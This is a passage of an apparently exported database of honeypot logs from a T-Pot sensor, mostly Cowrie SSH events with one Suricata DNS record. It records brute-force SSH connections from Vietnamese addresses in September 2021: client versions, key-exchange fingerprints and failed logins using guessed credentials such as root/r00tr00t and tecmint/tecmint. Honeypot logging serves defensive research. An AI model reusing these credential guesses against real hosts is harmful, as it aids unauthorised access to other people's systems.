"ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "82097474abd6", "@version": "1", "timestamp": "2021-09-20T11:07:52.649061Z", "@timestamp": "2021-09-20T11:07:52.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23799	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:52.73911+03	2021-09-20 14:15:07.971471+03	{"_id": "7AbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a45dfa802645", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:52.739110Z", "@timestamp": "2021-09-20T11:07:52.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23800	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:53.016639+03	2021-09-20 14:15:07.97247+03	{"_id": "7QbkAnwBvYTbRNuEEA_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a45dfa802645", "@version": "1", "timestamp": "2021-09-20T11:07:53.016639Z", "@timestamp": "2021-09-20T11:07:53.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23801	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:43.443247+03	2021-09-20 14:15:07.97447+03	{"_id": "fgbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6737c28d71b9", "@version": "1", "duration": 2.4709019660949707, "timestamp": "2021-09-20T11:07:43.443247Z", "@timestamp": "2021-09-20T11:07:43.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23802	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:43.780746+03	2021-09-20 14:15:07.97547+03	{"_id": "hAbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "431b0eae0d8c", "@version": "1", "duration": 2.493849992752075, "timestamp": "2021-09-20T11:07:43.780746Z", "@timestamp": "2021-09-20T11:07:43.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23803	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:44.033772+03	2021-09-20 14:15:07.976471+03	{"_id": "hQbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [tecmint/tecmint] failed", "session": "5b1f43bb249e", "@version": "1", "password": "tecmint", "username": "tecmint", "timestamp": "2021-09-20T11:07:44.033772Z", "@timestamp": "2021-09-20T11:07:44.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23804	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:44.097115+03	2021-09-20 14:15:07.97847+03	{"_id": "hgbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4aea487b336f", "@version": "1", "duration": 2.459084987640381, "timestamp": "2021-09-20T11:07:44.097115Z", "@timestamp": "2021-09-20T11:07:44.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23805	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:43.749207+03	2021-09-20 14:15:07.979471+03	{"_id": "gwbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bc8abe3e5bc5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:43.749207Z", "@timestamp": "2021-09-20T11:07:43.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23806	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:44.162785+03	2021-09-20 14:15:07.98047+03	{"_id": "hwbjAnwBvYTbRNuE7Q6D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9a3eb004ca57", "@version": "1", "duration": 3.6476030349731445, "timestamp": "2021-09-20T11:07:44.162785Z", "@timestamp": "2021-09-20T11:07:44.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23807	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:44.590681+03	2021-09-20 14:15:07.98147+03	{"_id": "kgbjAnwBvYTbRNuE8Q6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/r00tr00t] failed", "session": "ea26a28b5892", "@version": "1", "password": "r00tr00t", "username": "root", "timestamp": "2021-09-20T11:07:44.590681Z", "@timestamp": "2021-09-20T11:07:44.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23808	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.210553+03	2021-09-20 14:15:07.98247+03	{"_id": "lAbjAnwBvYTbRNuE8Q6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3d9857d51089", "@version": "1", "timestamp": "2021-09-20T11:07:45.210553Z", "@timestamp": "2021-09-20T11:07:45.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23809	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:44.537182+03	2021-09-20 14:15:07.98447+03	{"_id": "mgbjAnwBvYTbRNuE8Q6u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/phoenix] failed", "session": "8a79bc29cd27", "@version": "1", "password": "phoenix", "username": "root", "timestamp": "2021-09-20T11:07:44.537182Z", "@timestamp": "2021-09-20T11:07:44.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23810	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:07:45.141494+03	2021-09-20 14:15:07.98547+03	{"_id": "oQbjAnwBvYTbRNuE9A4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1259, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2181, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1878386423177895, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49543, "timestamp": "2021-09-20T11:07:45.141494Z", "@timestamp": "2021-09-20T11:07:45.141Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23811	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.881619+03	2021-09-20 14:15:07.986471+03	{"_id": "uwbjAnwBvYTbRNuE9Q6W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:32932 (192.168.176.2:22) [session: 0c4cc4448a62]", "session": "0c4cc4448a62", "@version": "1", "protocol": "ssh", "src_port": 32932, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.881619Z", "@timestamp": "2021-09-20T11:07:45.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23812	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.436414+03	2021-09-20 14:15:07.98747+03	{"_id": "tgbjAnwBvYTbRNuE9Q6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a13ab08649e3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:45.436414Z", "@timestamp": "2021-09-20T11:07:45.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23813	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.8923+03	2021-09-20 14:15:07.98947+03	{"_id": "wwbjAnwBvYTbRNuE9Q6W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0c4cc4448a62", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:45.892300Z", "@timestamp": "2021-09-20T11:07:45.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23814	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.043839+03	2021-09-20 14:15:07.990471+03	{"_id": "xAbjAnwBvYTbRNuE9Q6W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a69663fcb61b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:46.043839Z", "@timestamp": "2021-09-20T11:07:46.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
